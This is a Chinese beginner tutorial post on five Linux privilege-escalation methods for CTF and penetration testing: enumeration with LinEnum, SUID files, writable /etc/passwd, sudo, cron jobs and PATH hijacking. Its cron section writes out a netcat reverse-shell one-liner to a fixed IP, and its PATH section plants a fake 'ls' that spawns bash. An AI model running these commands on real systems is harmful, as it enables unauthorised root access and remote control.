【总结】提权基础与五种姿势

简介: 本次总结主要是讲解什么是提权以及常见的五个linux提权漏洞,适合初学者进阶。

privilege escalation**

 

bilibili讲解:https://www.bilibili.com/video/BV1cd4y137CH/

 

What does "privilege escalation" mean?

其核心是,权限提升通常包括从较低的许可到较高的许可。从技术上讲,它是利用操作系统或应用程序中的漏洞、设计缺陷或配置疏忽,以获得对通常受用户限制的资源的未经授权的访问。

Why is it important?

在进行 CTF 或现实世界的渗透测试时,你很少能够获得一个立足点(初始访问) ,让你的管理员可以访问。权限提升是至关重要的,因为它可以让你获得系统管理员级别的访问权限。

Direction of Privilege Escalation

1 (2)

 

LinEnum

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

https://www.zacarx.com/a/LinEnum-master.zip

法一:using "python3 -m http.server 8000" [1].

Then using "wget" on the target machine, and your local IP, you can grab the file from your local machine [2].

Then make the file executable using the command "chmod +x FILENAME.sh".

法二:创建文件复制粘贴,+x,执行。

we will focus on:

1.内核信息与漏洞利用

2.可以读/写敏感文件

3.SUID 文件

4.Crontab 内容

常用命令:

cat /etc/passwd 查看用户

cat cat /etc/shells 查看shell

cat /etc/crontab 查看任务

1.USID

find / -perm -u=s -type f 2>/dev/null

- perm-搜索具有特定权限的文件

- u = s-为文件设置任何权限位模式

- 类型 f-只搜索文件

2 >/dev/null-抑制错误

2.Exploiting a writable /etc/passwd

root:.x:0:0:root:/root:/bin/bash

username:password:uid:gid:info:home:shell

https://www.zacarx.com/a/LinEnum-master.zip

3.sudo -l

查看演示

4.Crontab

cat /etc/crontab

# = ID

m = Minute

h = Hour

dom = Day of the month

mon = Month

dow = Day of the week

user = What user the command will run as

command = What command should be run

e.g.

17 * 1 * * * root cd / && run-parts --report /etc/cron.hourly

msf

msfvenom -p cmd/unix/reverse_netcat lhost=10.14.29.86 lport=8888 R

echo "mkfifo /tmp/ticcszm; nc 10.14.29.86 8888 0</tmp/ticcszm | /bin/sh >/tmp/ticcszm 2>&1; rm /tmp/ticcszm" > autoscript.sh

nc -lvp 8888

5.Exploiting PATH Variable

What is PATH?

PATH 是 Linux 和类 Unix 操作系统中的一个环境变量,它指定保存可执行程序的目录

例如,ls位于特殊权限位,我们可以重写 PATH 变量到我们选择的位置!因此,当 SUID 程序调用系统 shell 来运行一个可执行文件时,它会运行一个我们编写的可执行文件!与任何 SUID 文件一样,它将使用与 SUID 文件所有者相同的权限运行此命令!如果这是 root,使用这个方法,我们可以作为 root 运行任何我们喜欢的命令

script——ls

让我们将目录更改为“ tmp”

Echo“[ whatever command we want to run ]”> [我们正在模仿的可执行文件的名称]

echo "/bin/bash" >> ls

chmod +x ls

export PATH=/tmp:$PATH

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH

重回原样

清单分享

https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html https://payatu.com/guide-linux-privilege-escalation

 

目录
相关文章
|
8月前
|
安全 PHP Apache
记一次匈牙利服务器提权案例
记一次匈牙利服务器提权案例
55 0
|
8月前
|
开发框架 安全 .NET
记一次绕过安全狗和360提权案例
记一次绕过安全狗和360提权案例
95 0
|
8月前
|
XML 开发框架 安全
记一次后门爆破到提权实战案例
记一次后门爆破到提权实战案例
50 0
|
8月前
|
安全 关系型数据库 MySQL
黑吃黑Getshell到提权实战案例
黑吃黑Getshell到提权实战案例
220 0
|
8月前
|
运维 关系型数据库 MySQL
绕过360安全卫士提权实战案例
绕过360安全卫士提权实战案例
178 1
|
8月前
|
安全 Shell 数据安全/隐私保护
记一次提权添加管理员实战案例
记一次提权添加管理员实战案例
34 0
|
11月前
|
安全 Linux
Linux Polkit 权限提升漏洞风险
Linux Polkit 权限提升漏洞风险
258 0
|
安全 Linux 网络安全
Linux脏牛漏洞提权复现
操作系统: Linux ( CentOS 6.5) Web服务: PHP+Apache
524 0
Linux脏牛漏洞提权复现
|
安全 Linux 运维
Linux服务器漏洞防护测试 可SUDO提权到管理员
linux一直以来很少有漏洞,稳定,高效,安全.深受网站,app运营者的喜欢与青睐,很多网站服务器的运营技术和运维,在维护服务器的同时都会使用sudo命令来做安全,殊不知sudo近期被爆出漏洞,并登上CVE-2019-14287级别,可见漏洞的危害性较大.
1513 0
|
Shell Linux Unix
记录Linux下的钓鱼提权思路
参考Freebuf上的提权文章(利用通配符进行Linux本地提权):http://www.freebuf.com/articles/system/176255.
1219 0